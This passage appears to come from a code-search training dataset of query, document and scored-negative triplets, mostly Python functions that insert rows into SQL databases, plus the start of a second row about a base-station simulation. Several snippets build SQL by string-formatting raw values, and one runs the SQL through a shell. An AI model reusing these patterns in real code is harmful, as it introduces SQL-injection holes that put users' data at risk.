db.close()\",\n \"def load_staging_tables(cur, conn):\\n for query in copy_table_queries:\\n try:\\n cur.execute(query)\\n conn.commit()\\n except Exception as e:\\n print(e)\",\n \"def insert_into_db(self, database):\\n\\n # insert person\\n keys = \\\"\\\"\\n values = \\\"\\\"\\n for key, value in self.person.items():\\n # location\\n if key == \\\"location\\\":\\n # ensure location is in table\\n database.select(f\\\"\\\"\\\"DO $do$ BEGIN IF NOT EXISTS (SELECT * FROM p21_cdm.location WHERE city='{value['city']}' \\n AND zip='{value['zip']}') THEN INSERT INTO p21_cdm.location (city, zip) \\n VALUES ('{value['city']}', '{value['zip']}'); END IF; END; $do$\\\"\\\"\\\")\\n continue\\n\\n keys += f\\\"{key},\\\"\\n values += f\\\"'{value}',\\\"\\n\\n database.select(f\\\"\\\"\\\"INSERT INTO p21_cdm.person (location_id, {keys[:-1]}) \\n VALUES((SELECT location_id \\n FROM p21_cdm.location\\n WHERE city='{self.person['location']['city']}' \\n and zip='{self.person['location']['zip']}'), \\n {values[:-1]})\\\"\\\"\\\")\\n\\n # insert visits\\n for visit in self.visits:\\n keys = \\\"person_id,\\\"\\n values = f\\\"'{self.person['person_id']}',\\\"\\n for key, value in visit.items():\\n if key == \\\"care_site_name\\\":\\n # ensure care site is in table\\n database.select(f\\\"\\\"\\\"DO $do$ BEGIN IF NOT EXISTS (SELECT * \\n FROM p21_cdm.care_site \\n WHERE care_site_name='{value}') \\n THEN INSERT INTO p21_cdm.care_site (care_site_name) \\n VALUES ('{value}'); END IF; END; $do$\\\"\\\"\\\")\\n continue\\n\\n keys += f\\\"{key},\\\"\\n values += f\\\"'{value}',\\\"\\n\\n database.select(f\\\"\\\"\\\"INSERT INTO p21_cdm.visit_occurrence (care_site_id, {keys[:-1]}) \\n VALUES((SELECT care_site_id\\n FROM p21_cdm.care_site\\n WHERE care_site_name='{visit['care_site_name']}'),\\n {values[:-1]}) \\n RETURNING visit_occurrence_id\\\"\\\"\\\")\\n\\n # insert measurements, observations, conditions & procedures\\n for data, tablename in [(self.measurements, \\\"measurement\\\"),\\n (self.observations, \\\"observation\\\"),\\n (self.conditions, \\\"condition_occurrence\\\"),\\n (self.procedures, \\\"procedure_occurrence\\\")]:\\n for entry in data:\\n keys = \\\"person_id,\\\"\\n values = f\\\"'{self.person['person_id']}',\\\"\\n\\n for key, value in entry.items():\\n keys += f\\\"{key},\\\"\\n values += f\\\"'{value}',\\\"\\n\\n entry[\\\"sql_id\\\"] = database.select(f\\\"\\\"\\\"INSERT INTO p21_cdm.{tablename}({keys[:-1]})\\n VALUES({values[:-1]}) RETURNING {tablename}_id\\\"\\\"\\\")[0][0]\\n\\n # insert fact_relationships in both directions\\n for table1, entry1, table2, entry2 in self.fact_relations:\\n # 44818890 = Finding associated with (SNOMED)\\n database.select(f\\\"\\\"\\\"INSERT INTO p21_cdm.fact_relationship(domain_concept_id_1, fact_id_1, \\n domain_concept_id_2, fact_id_2, \\n relationship_concept_id)\\n VALUES('{table1}','{entry1['sql_id']}','{table2}','{entry2['sql_id']}','44818890')\\\"\\\"\\\")\\n # 44818792 = Associated with finding (SNOMED)\\n database.select(f\\\"\\\"\\\"INSERT INTO p21_cdm.fact_relationship(domain_concept_id_1, fact_id_1, \\n domain_concept_id_2, fact_id_2, \\n relationship_concept_id)\\n VALUES('{table2}','{entry2['sql_id']}','{table1}','{entry1['sql_id']}','44818792')\\\"\\\"\\\")\\n\\n # make transactions persistent\\n database.commit()\",\n \"def makeInserts(self, tbl, columns, rows):\\n\\n lines = []\\n lines.append(\\\"INSERT ALL\\\")\\n\\n stmt = ' INTO \\\"{}\\\" ({})'.format(\\n tbl,\\n \\\", \\\".join(['\\\"'+name+'\\\"' for name, *_ in columns])\\n )\\n\\n fmt = ' VALUES ({})'.format(\\n \\\", \\\".join([\\\"{}\\\" if t in ('NUMBER') else \\\"'{}'\\\" \\n for n, t, *_ in columns])\\n )\\n\\n print(stmt)\\n print(fmt)\\n\\n for row in rows:\\n lines.append(stmt)\\n lines.append(fmt.format(*row))\\n \\n\\n lines.append(\\\"SELECT * FROM DUAL\\\")\\n\\n return \\\"\\\\n\\\".join(lines)\",\n \"def makeInserts(self, tbl, columns, rows):\\n\\n lines = []\\n lines.append(\\\"INSERT ALL\\\")\\n\\n stmt = ' INTO \\\"{}\\\" ({})'.format(\\n tbl,\\n \\\", \\\".join(['\\\"'+name+'\\\"' for name, *_ in columns])\\n )\\n\\n fmt = ' VALUES ({})'.format(\\n \\\", \\\".join([\\\"{}\\\" if t in ('NUMBER') else \\\"'{}'\\\" \\n for n, t, *_ in columns])\\n )\\n\\n print(stmt)\\n print(fmt)\\n\\n for row in rows:\\n lines.append(stmt)\\n lines.append(fmt.format(*row))\\n \\n\\n lines.append(\\\"SELECT * FROM DUAL\\\")\\n\\n return \\\"\\\\n\\\".join(lines)\",\n \"def insert_into_table(table_name, column_names, column_values):\\n sql = \\\"INSERT INTO user_data(%s) VALUES(%s);\\\"\\n # execute_sql(sql, (column_names, column_values))\\n # FIXME: issues with array of strings input\",\n \"def send_sql_query(self, query):\\n # TODO: MAKE SQL SELECT and SQL INSERT modules\\n self.cursor.execute(query)\\n self.cnx.commit()\",\n \"def write_to_database(info,timer):\\n\\n inserts = create_sql_write(info,timer)\\n\\n connection = engine.connect()\\n for insert in inserts:\\n connection.execute(insert)\\n connection.close()\",\n \"def add_payment(keys,values,con,cur):\\n \\n psql=f\\\"\\\"\\\" insert into payments ({keys}) values {values};\\\"\\\"\\\"\\n print('psql')\\n print(psql)\\n print(psql)\\n cur.execute(psql)\\n con.commit()\",\n \"def multiple_insert(self, tablename, values, seqname=None, _test=False): \\n if not values:\\n return []\\n \\n if not self.supports_multiple_insert:\\n out = [self.insert(tablename, seqname=seqname, _test=_test, **v) for v in values]\\n if seqname is False:\\n return None\\n else:\\n return out\\n \\n keys = values[0].keys()\\n #@@ make sure all keys are valid\\n\\n for v in values:\\n if v.keys() != keys:\\n raise ValueError, 'Not all rows have the same keys'\\n\\n sql_query = SQLQuery('INSERT INTO %s (%s) VALUES ' % (tablename, ', '.join(keys)))\\n\\n for i, row in enumerate(values):\\n if i != 0:\\n sql_query.append(\\\", \\\")\\n SQLQuery.join([SQLParam(row[k]) for k in keys], sep=\\\", \\\", target=sql_query, prefix=\\\"(\\\", suffix=\\\")\\\")\\n \\n if _test: return sql_query\\n\\n db_cursor = self._db_cursor()\\n if seqname is not False: \\n sql_query = self._process_insert_query(sql_query, tablename, seqname)\\n\\n if isinstance(sql_query, tuple):\\n # for some databases, a separate query has to be made to find \\n # the id of the inserted row.\\n q1, q2 = sql_query\\n self._db_execute(db_cursor, q1)\\n self._db_execute(db_cursor, q2)\\n else:\\n self._db_execute(db_cursor, sql_query)\\n\\n try: \\n out = db_cursor.fetchone()[0]\\n out = range(out-len(values)+1, out+1) \\n except Exception: \\n out = None\\n\\n if not self.ctx.transactions: \\n self.ctx.commit()\\n return out\",\n \"def DBExecute( DB, sql, *args ):\\n DB.execute( sql, args )\\n DB.commit()\",\n \"def insert(self, tablename, seqname=None, _test=False, **values):\\n def q(x): return \\\"(\\\" + x + \\\")\\\"\\n \\n if values:\\n _keys = SQLQuery.join(values.keys(), ', ')\\n _values = SQLQuery.join([sqlparam(v) for v in values.values()], ', ')\\n sql_query = \\\"INSERT INTO %s \\\" % tablename + q(_keys) + ' VALUES ' + q(_values)\\n else:\\n sql_query = SQLQuery(self._get_insert_default_values_query(tablename))\\n\\n if _test: return sql_query\\n \\n db_cursor = self._db_cursor()\\n if seqname is not False: \\n sql_query = self._process_insert_query(sql_query, tablename, seqname)\\n\\n if isinstance(sql_query, tuple):\\n # for some databases, a separate query has to be made to find \\n # the id of the inserted row.\\n q1, q2 = sql_query\\n self._db_execute(db_cursor, q1)\\n self._db_execute(db_cursor, q2)\\n else:\\n self._db_execute(db_cursor, sql_query)\\n\\n try: \\n out = db_cursor.fetchone()[0]\\n except Exception: \\n out = None\\n \\n if not self.ctx.transactions: \\n self.ctx.commit()\\n return out\",\n \"def form_insert_query(self, table_name, input_data, table_fields_names=None, table_fields_types=None):\\n\\n\\t\\t# creating first part of the query -> section with columns' names\\n\\t\\tquery_table_structure = self.build_query_part(table_fields_names, table_fields_types, query_part=1)\\n\\n\\t\\t# creating second part of the query -> section with values\\n\\t\\tquery_values = self.build_query_part(input_data, table_fields_types, query_part=2)\\n\\t\\t\\n\\t\\t# form query\\n \\t\\tquery = 'INSERT INTO ' + table_name + ' ' + query_table_structure + ' VALUES ' + query_values\\n\\n\\t\\treturn query\",\n \"def run_insert_example():\\n table = \\\"actors\\\"\\n insert_values = {\\n 'id': 3,\\n 'name': \\\"Matt\\\",\\n 'last_name': \\\"Smith\\\",\\n 'country': \\\"England\\\"}\\n print querify.insert_from_dict(table, insert_values)\\n\\n insert_col_list = [\\\"id\\\", \\\"name\\\", \\\"last_name\\\", \\\"country\\\"]\\n insert_val_list = [\\n [1, \\\"Chris\\\", \\\"Eccleston\\\", \\\"England\\\"],\\n [2, \\\"David\\\", \\\"Tennant\\\", \\\"Scotland\\\"],\\n [3, \\\"Matt\\\", \\\"Smith\\\", \\\"England\\\"]]\\n print querify.insert_from_list(table, insert_col_list, insert_val_list)\",\n \"def dbinsert(db,table,**assignments):\\n cols = \\\"\\\"\\n vals = \\\"\\\"\\n values = []\\n for k,v in assignments.items():\\n if cols!=\\\"\\\": cols += \\\",\\\"\\n cols += k\\n if vals!=\\\"\\\": vals += \\\",\\\"\\n vals += \\\"?\\\"\\n values.append(v)\\n cmd = \\\"insert or replace into \\\"+table+\\\" ( \\\"+cols+\\\" ) values ( \\\"+vals+\\\" ) \\\"\\n params = list(values)\\n # print cmd,params\\n cur = db.cursor()\\n cur.execute(cmd,params)\\n cur.close()\\n del cur\",\n \"def insert_into_reading():\\n insert_stmt = \\\"('%s', '%s', '{}')\\\"\\n k = 0 \\n for i in range(100): \\n stmt = \\\"INSERT INTO readings(asset_code, read_key, reading) VALUES\\\" \\n for j in range(10): \\n if j == 9: \\n stmt = stmt + \\\" \\\" + insert_stmt % (str(k), uuid.uuid4()) + \\\";\\\" \\n else: \\n stmt = stmt + \\\" \\\" + insert_stmt % (str(k), uuid.uuid4()) + \\\", \\\"\\n k =+ 1\\n execute_command(stmt)\",\n \"def query(conn, sql_stmt, table_data):\\n cursor = conn.cursor()\\n cursor.execute(sql_stmt, table_data)\\n conn.commit()\",\n \"def insert_row(self, tablename, fields):\\n insert_params = \\\"(\\\" + \\\",\\\".join(['?' for x in fields]) + \\\")\\\"\\n self.cursor.execute(\\\"insert into \\\" + tablename + \\\" values \\\" +\\n insert_params, fields)\",\n \"def Insert(self):\\n sql = 'INSERT INTO %s ( %s ) VALUES ( %s )' % (\\n self.table_name,\\n ', '.join(self.values),\\n ', '.join(['?' for _ in self.values])\\n )\\n return Database().Execute(sql, tuple(self.values.values()))\",\n \"def insert_data(self, table_name, data):\\n for data_point in data:\\n query = \\\"INSERT INTO %s(%s) VALUES (%s)\\\"\\n\\n fields = \\\", \\\".join(data_point.keys())\\n values = \\\", \\\".join([self.pack_data(value) for value in data_point.values()])\\n self.cursor.execute(query % (table_name, fields, values))\\n self.db_connection.commit()\",\n \"def insert_into_table(self, schema, table, fields, values):\\n sql = f'set role {self.write_role}; ' \\\\\\n f'INSERT INTO {schema}.{table} ( {\\\", \\\".join(fields)} ) VALUES ( {\\\", \\\".join(values)} );'\\n return sql\",\n \"def insertQuery(self, master, row_num):\\n pass\",\n \"def create_tables(cur, conn):\\n for query in create_table_queries:\\n try:\\n cur.execute(query)\\n conn.commit()\\n except Exception as e:\\n print(e)\",\n \"def execute_query(self, query, type_of_query, table):\\n try:\\n self.db_connection()\\n if self.connection is not None:\\n with self.connection.cursor() as cursor:\\n cursor.execute(query)\\n if type_of_query == \\\"SELECT\\\":\\n res = cursor.fetchall() # Saving a list of dictionaries where each dictionary is a record\\n headers = {element: element for element in {field[0] for field in cursor.description}} # tabulate requires a dict (each header has key and value)\\n print(tabulate(res, headers=headers, tablefmt='grid')) # print table with nice style\\n elif type_of_query == \\\"INSERT\\\": # INSERT query, commit is required\\n self.connection.commit()\\n except IntegrityError:\\n print(\\\"A new record couldn't be added\\\")\\n return False\\n finally:\\n self.close_connection() # Closing the opened connection\\n return True\",\n \"def insert_into_db(dataframe, query):\\n for col, row in dataframe.iterrows():\\n cursor.execute(query.format(tuple(row)))\\n print (tuple(row))\\n connection.commit()\",\n \"def insert(cls, values):\\n result = yield InsertQuery(cls, values).execute()\\n returnValue(result)\",\n \"async def insert(self, table_name: str, values: tuple, columns=None):\\n query = f\\\"\\\"\\\"INSERT INTO {table_name} {'(' + ', '.join(columns) + ')' if columns else ''} VALUES {values}\\\"\\\"\\\"\\n await LemkPgUtils.execute_query(self.dsn, query)\\n return True\",\n \"def insert(sql, clue):\\n\\t# clue is [game, airdate, round, category, value, clue, answer]\\n\\t# note that at this point, clue[4] is False if round is 3\\n\\tif \\\"\\\\\\\\\\\\'\\\" in clue[6]:\\n\\t\\tclue[6] = clue[6].replace(\\\"\\\\\\\\\\\\'\\\", \\\"'\\\")\\n\\tif \\\"\\\\\\\\\\\\\\\"\\\" in clue[6]:\\n\\t\\tclue[6] = clue[6].replace(\\\"\\\\\\\\\\\\\\\"\\\", \\\"\\\\\\\"\\\")\\n\\tif not sql:\\n\\t\\tprint clue\\n\\t\\treturn\\n\\tsql.execute(\\\"INSERT OR IGNORE INTO airdates VALUES(?, ?);\\\", (clue[0], clue[1], ))\\n\\tsql.execute(\\\"INSERT OR IGNORE INTO categories(category) VALUES(?);\\\", (clue[3], ))\\n\\tcategory_id = sql.execute(\\\"SELECT id FROM categories WHERE category = ?;\\\", (clue[3], )).fetchone()[0]\\n\\tclue_id = sql.execute(\\\"INSERT INTO documents(clue, answer) VALUES(?, ?);\\\", (clue[5], clue[6], )).lastrowid\\n\\tsql.execute(\\\"INSERT INTO clues(game, round, value) VALUES(?, ?, ?);\\\", (clue[0], clue[2], clue[4], ))\\n\\tsql.execute(\\\"INSERT INTO classifications VALUES(?, ?)\\\", (clue_id, category_id, ))\",\n \"def load_staging_tables(cur, conn):\\n for query in copy_table_queries:\\n try:\\n cur.execute(query)\\n conn.commit()\\n \\n except psycopg2.Error as e:\\n print(e)\",\n \"def insert_to_table(table_name, column_names, values):\\n cols = ', '.join(column_names)\\n query = f\\\"INSERT INTO {table_name} ({cols}) VALUES %s\\\"\\n conn = get_connection()\\n with conn.cursor() as cur:\\n execute_values(cur, query, values)\\n conn.commit()\\n conn.close()\",\n \"def insert(self):\\n sql = u'INSERT INTO %s' % self.table()\\n keys = []\\n values = []\\n format_values = []\\n for field in self.fields():\\n attr = object.__getattribute__(self, field)\\n if attr.auto_value:\\n continue\\n keys.append(field)\\n format_values.append(attr.format)\\n values.append(attr._value)\\n keys_str = u'( %s )' % u', '.join(keys)\\n values_str = u'VALUES( %s )' % u', '.join(format_values)\\n sql = '%s %s %s;' % (sql, keys_str, values_str)\\n connection.execute(sql, values)\\n primary_k = self.__class__.get_primary()\\n primary = object.__getattribute__(self, primary_k)\\n primary.value = connection.connection.insert_id()\",\n \"def insert_data(data):\\n\\n try:\\n sql = \\\"INSERT INTO movies VALUES(%s, %s, %s)\\\"\\n conn = psycopg2.connect(dsn=DB_DSN)\\n cur = conn.cursor()\\n cur.executemany(sql, data)\\n conn.commit()\\n except psycopg2.Error as e:\\n print e.message\\n else:\\n cur.close()\\n conn.close()\",\n \"def insert_many(self, table, columns, values, limit=MAX_ROWS_PER_QUERY, execute=True):\\n # Make values a list of lists if it is a flat list\\n if not isinstance(values[0], (list, set, tuple)):\\n values = []\\n for v in values:\\n if v is not None and len(v) > 0:\\n values.append([v])\\n else:\\n values.append([None])\\n\\n # Concatenate statement\\n cols, vals = get_col_val_str(columns)\\n statement = 'INSERT INTO {0} ({1}) VALUES ({2})'.format(wrap(table), cols, vals)\\n\\n if execute and len(values) > limit:\\n while len(values) > 0:\\n vals = [values.pop(0) for i in range(0, min(limit, len(values)))]\\n self._cursor.executemany(statement, vals)\\n self._commit()\\n\\n elif execute:\\n # Execute statement\\n self._cursor.executemany(statement, values)\\n self._commit()\\n self._printer('\\\\tMySQL rows (' + str(len(values)) + ') successfully INSERTED')\\n\\n # Only return statement\\n else:\\n return statement\",\n \"def insertQuery1(self,nome,descr,censimento):\\r\\n\\t\\tq=Query(nome,descr,censimento)\\r\\n\\t\\tself.session.add(q)\\r\\n\\t\\tself.session.commit()\",\n \"def send_sql_query2(self, query):\\n # TODO: MAKE SQL SELECT and SQL INSERT modules\\n self.cursor.execute(query)\\n # self.cnx.commit()\",\n \"def insert(self, table, columns, values, execute=True):\\n # TODO: Cant accept lists?\\n # Concatenate statement\\n cols, vals = get_col_val_str(columns)\\n statement = \\\"INSERT INTO {0} ({1}) VALUES ({2})\\\".format(wrap(table), cols, vals)\\n\\n # Execute statement\\n if execute:\\n self._cursor.execute(statement, values)\\n self._commit()\\n self._printer('\\\\tMySQL row successfully inserted into {0}'.format(table))\\n\\n # Only return statement\\n else:\\n return statement\",\n \"def insert_to_table(self, tableName, dataRow, colNames):\\n queryString = f\\\"INSERT INTO {tableName} VALUES \\\"\\n # building the Values list\\n valueString = \\\"\\\"\\n # looping \\n for value in dataRow:\",\n \"def insert_ranks(ranks):\\n sql = \\\"\\\"\\\"INSERT INTO rank_history_appannie(\\n platform ,\\n country_name ,\\n app_id ,\\n game_name ,\\n publisher_id ,\\n publisher_name,\\n rank_date ,\\n rank_type ,\\n rank_num ,\\n casino_game ) VALUES(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)\\n \\\"\\\"\\\"\\n conn = None\\n try:\\n # params = config()\\n # conn = psycopg2.connect(**params)\\n conn = psycopg2.connect(host=\\\"localhost\\\",database=\\\"scala_db\\\", user=\\\"scala_user\\\")\\n cur = conn.cursor() \\n cur.executemany(sql, ranks) \\n conn.commit()\\n cur.close() \\n except (Exception, psycopg2.DatabaseError) as error: \\n print(error) \\n finally:\\n if conn is not None:\\n conn.close()\",\n \"def post(create_query, insert_query, conn):\\n\\n try:\\n with conn.cursor() as cur:\\n cur.execute(create_query)\\n cur.execute(insert_query)\\n conn.commit()\\n except pymysql.IntegrityError as e:\\n print(e)\\n return format_response(400, {'error': repr(e)})\\n except (pymysql.MySQLError, Exception) as e:\\n print(e)\\n return format_response(500)\\n\\n return format_response(200)\",\n \"def insert_to_db(self, query):\\n self.cursor.execute(query)\\n self.conn.commit()\\n return self\",\n \"def insert_into_table(cursor, t_name, insert, \\n cnx, autocommit=True): \\n try:\\n cursor.execute(insert)\\n if autocommit:\\n if not cnx.autocommit:\\n cnx.commit()\\n result = cursor\\n print(f\\\"Number of rows affected by statement '{result.statement}':\\\"\\n f\\\"{result.rowcount}.\\\")\\n print(\\\"Warnings: \\\" + str(result.fetchwarnings()) + \\\".\\\")\\n except mysql.connector.Error as err:\\n print(err.msg + \\\".\\\")\\n else:\\n print(\\\"Done Inserting.\\\")\",\n \"async def insert(self, args: Dict[str, Any]):\\n keys = \\\", \\\".join(args.keys())\\n values = \\\", \\\".join([f\\\"${i + 1}\\\" for i in range(len(args))])\\n\\n conn: Connection\\n async with self.db_pool.acquire() as conn:\\n await conn.execute(\\n f\\\"INSERT INTO {self.table_name} \\\"\\n f\\\"({keys}) VALUES ({values})\\\",\\n *args.values(),\\n )\",\n \"def _insert_json_to_sql(self, conn, matches: List[Dict], verbose: bool) -> None:\\n cur = conn.cursor()\\n timepoint_1 = time.time()\\n args = self._extract_args(matches)\\n\\n if verbose:\\n # find the number of records before insertion\\n cur2 = conn.cursor()\\n cur2.execute('SELECT COUNT(*) FROM {}'.format(self.table))\\n records_sql_before = cur2.fetchall()[0][0] # counts unique entries in the table before the insert statement\\n cur2.close()\\n\\n # part of the query that tells to do nothing on duplicate keys if such entry already exists,\\n # depending on the number of primary keys\\n if len(self.pk_sql) == 0:\\n if_duplicates_do_nothing = ''\\n else:\\n if_duplicates_do_nothing = ' ON DUPLICATE KEY UPDATE ' + \\\\\\n ', '.join([f'{key} = {key}' for key in self.pk_sql])\\n\\n query = f\\\"\\\"\\\"\\n INSERT INTO {self.table} VALUES ({', '.join('?' * self._fields_num())})\\n {if_duplicates_do_nothing}\\n \\\"\\\"\\\".strip()\\n timepoint_2 = time.time()\\n print(f'Up until execution the current iteration took {round(timepoint_2 - timepoint_1, 2)} s.')\\n cur.executemany(query, args)\\n timepoint_3 = time.time()\\n print(f'Program took {round(timepoint_3 - timepoint_2, 2)} s. to execute')\\n conn.commit()\\n timepoint_4 = time.time()\\n print(f'Program took {round(timepoint_4 - timepoint_3, 2)} s. to commit changes')\\n\\n if verbose:\\n print(f'Insertion to {self.table} complete and took {round(time.time() - timepoint_1, 2)} s.')\\n\\n cur3 = conn.cursor()\\n cur3.execute('SELECT COUNT(*) FROM {}'.format(self.table))\\n records_sql_after = cur3.fetchall()[0][0] # counts unique entries in the table after the insert statement\\n args_python = len(args) # counts unique entries in JSON\\n if args_python == (records_sql_after - records_sql_before):\\n print(f'Number of unique records in table {self.table} is accurate and equals {records_sql_after} '\\n f'after insert')\\n else:\\n print(f'The table {self.table} increased by {(records_sql_after - records_sql_before)} records')\",\n \"def execute_sql(sql_stmt, host_in='client'):\\n #db = create_engine(host_in,'')\\n #sql = sqltext(sql_stmt) \\n #return db.execute(sql)\\n with open('temp.sql','w') as sql:\\n sql.write(sql_stmt)\\n\\n proc=sp.Popen(\\\"mysql < temp.sql\\\",stdout=sp.PIPE, stderr=sp.PIPE, shell=True)\\n out,err = proc.communicate()\\n sp.Popen(\\\"rm temp.sql\\\",stdout=sp.PIPE, stderr=sp.PIPE, shell=True)\\n return out.strip(),err.strip()\",\n \"def runSql(self, sql):\\r\\n cursor = self.c.cursor()\\r\\n cursor.execute(sql)\\r\\n self.c.commit()\\r\\n cursor.close()\\r\\n return True\",\n \"def execute(self, sql):\\n\\n res = self.cur.execute(sql)\\n self.cxn.commit()\\n\\n return res\",\n \"def test_insert(self):\\n self.assertEqual(['INSERT', 'INTO', 'test', '(a,b) VALUES (1,2)'],\\n grammar._INSERT_EXPR.parseString(\\\"INSERT INTO test (a,b) VALUES (1,2);\\\").asList())\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7637414","0.75174606","0.73767686","0.736977","0.7310605","0.7295746","0.72917","0.7261612","0.72264344","0.72264344","0.72264344","0.72264344","0.7150109","0.70023865","0.6999856","0.69421756","0.6873257","0.68696296","0.6832881","0.6804258","0.6792568","0.6751063","0.67101836","0.66969657","0.6684984","0.666716","0.6633345","0.6608856","0.6591363","0.6580856","0.656402","0.6559603","0.65559185","0.65511996","0.65138054","0.6511817","0.65050936","0.6498113","0.6470818","0.64701205","0.6466564","0.64621484","0.6419451","0.6417191","0.64059865","0.6395019","0.63820654","0.63805634","0.6379347","0.6369128","0.6368521","0.6361028","0.6355945","0.6352288","0.6350877","0.6346427","0.63357913","0.63357913","0.6330088","0.63288116","0.63285464","0.632386","0.63169813","0.6308883","0.6286502","0.62836957","0.6282604","0.6281893","0.62810165","0.62654155","0.6260834","0.62530553","0.62526184","0.62389475","0.6230784","0.6228014","0.6219908","0.6216456","0.62107664","0.6199166","0.6199007","0.61927557","0.6176766","0.61762285","0.61675084","0.61641884","0.6163161","0.61620283","0.6157606","0.6152305","0.6151581","0.6151457","0.61446387","0.61434174","0.61429423","0.6137717","0.6134723","0.61344826","0.61276865","0.6116189"],"string":"[\n \"0.7637414\",\n \"0.75174606\",\n \"0.73767686\",\n \"0.736977\",\n \"0.7310605\",\n \"0.7295746\",\n \"0.72917\",\n \"0.7261612\",\n \"0.72264344\",\n \"0.72264344\",\n \"0.72264344\",\n \"0.72264344\",\n \"0.7150109\",\n \"0.70023865\",\n \"0.6999856\",\n \"0.69421756\",\n \"0.6873257\",\n \"0.68696296\",\n \"0.6832881\",\n \"0.6804258\",\n \"0.6792568\",\n \"0.6751063\",\n \"0.67101836\",\n \"0.66969657\",\n \"0.6684984\",\n \"0.666716\",\n \"0.6633345\",\n \"0.6608856\",\n \"0.6591363\",\n \"0.6580856\",\n \"0.656402\",\n \"0.6559603\",\n \"0.65559185\",\n \"0.65511996\",\n \"0.65138054\",\n \"0.6511817\",\n \"0.65050936\",\n \"0.6498113\",\n \"0.6470818\",\n \"0.64701205\",\n \"0.6466564\",\n \"0.64621484\",\n \"0.6419451\",\n \"0.6417191\",\n \"0.64059865\",\n \"0.6395019\",\n \"0.63820654\",\n \"0.63805634\",\n \"0.6379347\",\n \"0.6369128\",\n \"0.6368521\",\n \"0.6361028\",\n \"0.6355945\",\n \"0.6352288\",\n \"0.6350877\",\n \"0.6346427\",\n \"0.63357913\",\n \"0.63357913\",\n \"0.6330088\",\n \"0.63288116\",\n \"0.63285464\",\n \"0.632386\",\n \"0.63169813\",\n \"0.6308883\",\n \"0.6286502\",\n \"0.62836957\",\n \"0.6282604\",\n \"0.6281893\",\n \"0.62810165\",\n \"0.62654155\",\n \"0.6260834\",\n \"0.62530553\",\n \"0.62526184\",\n \"0.62389475\",\n \"0.6230784\",\n \"0.6228014\",\n \"0.6219908\",\n \"0.6216456\",\n \"0.62107664\",\n \"0.6199166\",\n \"0.6199007\",\n \"0.61927557\",\n \"0.6176766\",\n \"0.61762285\",\n \"0.61675084\",\n \"0.61641884\",\n \"0.6163161\",\n \"0.61620283\",\n \"0.6157606\",\n \"0.6152305\",\n \"0.6151581\",\n \"0.6151457\",\n \"0.61446387\",\n \"0.61434174\",\n \"0.61429423\",\n \"0.6137717\",\n \"0.6134723\",\n \"0.61344826\",\n \"0.61276865\",\n \"0.6116189\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6529839"},"document_rank":{"kind":"string","value":"34"}}},{"rowIdx":15381,"cells":{"query":{"kind":"string","value":"x_min(need to be assigned) x_max(need to be assigned) y_min(need to be assigned) y_max(need to be assigned) path_loss_factor(4.0) small_fade(\"Rayleigh\") noise(\"Gaussian\") big_fade(\"no_big_fade\") bs_number(need to be assigned) layer(1) power(1.0) distribution(\"uniform\") ue_number(need to be assigned) distribution(\"uniform\")"},"document":{"kind":"string","value":"def __init__(self, x_min, x_max, y_min, y_max, bs_number, ue_number,\n layer=1, power=1.0, bs_distribution=\"square_grid\",\n ue_distribution=\"gaussian\", ue_sigma=0,\n if_fix_bs=True,\n bs_radius_1=50,\n grid_l_1=10,\n grid_l_2=10):\n BaseRegion.__init__(self, x_min, x_max, y_min, y_max)\n BaseBS.__init__(self, bs_number, layer, power, bs_distribution, if_fix_bs)\n BaseUE.__init__(self, ue_number, ue_distribution, ue_sigma)\n self.bs_radius_1_ = bs_radius_1\n self.grid_l_1_ = grid_l_1\n self.grid_l_2_ = grid_l_2\n if not if_fix_bs:\n self.set_bs_to_region()\n self.set_ue_to_region()\n self.bs_ue_dict_ = {}\n # a dict that show which ue belong to which bs\n # key: 0, 1, ..., num_bs\n # value: 0, 1, ..., num_ue belong to the key\n self.select_ue()"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def __init__(self, min_value=0.0, max_value=1.0, input_name=\"image\", output_name=\"image\"):\n super().__init__(input_name=input_name, output_names=[output_name])\n self.min_value = min_value\n self.max_value = max_value","def __init__(self, color=1, minsize=24, maxsize=160):\n\tself.color = color # default color of interest is Green\n self.maxWidth = 60 # All lagoon areas will be reduced to a strip this wide\n\tself.minDim = minsize\n self.debug = ''\n\tself.maxDim = maxsize\n self.kernal = np.ones((5,5),np.uint8)\n self.alpha = np.array([ 1.2 ])\n self.beta = np.array([ -60 ])\n\tself.theta = 1\n\tself.phi = 1\n\tself.maxIntensity = 255.0","def __init__(self):\n self.X = None\n self.Y = None\n self.features = None\n self.max = self.min = None\n self._look_up = None\n self.attr_weight = None","def __init__(self) -> None:\n self.name = \"minmaxScaler\"\n self.min = 0\n self.max = 0","def plot_ratios(path='/Volumes/OptiHDD/data/pylith/3d/agu2014/output',\n\t\t\t\tsteps=['step01','step02'],\n\t\t\t\t#labels='',\n\t\t\t\tshow=True,\n\t\t\t\txscale=1e3,\n\t\t\t\tyscale=1e-2):\n\tplt.figure()\n\t#path = '/Users/scott/Desktop/elastic'\n\n\t# Deep source\n\t#labels = ['no APMB', 'APMB']\n\t#if labels == '':\n\tlabels = steps\n\tdeep = {}\n\t#uzmax = 0.824873455364\n\t# NOT sure why hardcoded...\n\tuzmax = 1\n\tfor i,outdir in enumerate(steps):\n\t\tpointsFile = os.path.join(path, outdir, 'points.h5')\n\t\tprint(pointsFile)\n\t\tx,y,z,ux,uy,uz = pu.extract_points(pointsFile)\n\n\t\tX = x / xscale\n\t\tY1 = ux / yscale\n\n\t\tx_fem = X #/ xscale #double scaling!\n\t\tur_fem = Y1 #/ yscale\n\t\tuz_fem = uz / yscale\n\n\t\t#print(pointsFile)\n\t\tprint(ur_fem.min(), ur_fem.max(), uz_fem.min(), uz_fem.max(), uz_fem.max() / ur_fem.max())\n\n\t\t#normalize\n\t\tuz_fem = uz_fem / uzmax\n\t\tur_fem = ur_fem / uzmax\n\t\tx_fem = x_fem / 30.0\n\n\t\tl, = plt.plot(x_fem,uz_fem,'o-',ms=4,lw=4,label=labels[i])\n\t\tplt.plot(x_fem,ur_fem,'o--',ms=4,lw=4,color=l.get_color()) #mfc='none' transparent\n\t\tdeep[outdir] = uz_fem/uz_fem\n\n\t'''\n\t# Shallow Source\n\tshallow = {}\n\tuzmax = 0.949652827795\n\tfor i,outdir in enumerate(['step11','step12']):\n\t\tpointsFile = os.path.join(path, outdir, 'points.h5')\n\n\t\tx,y,z,ux,uy,uz = 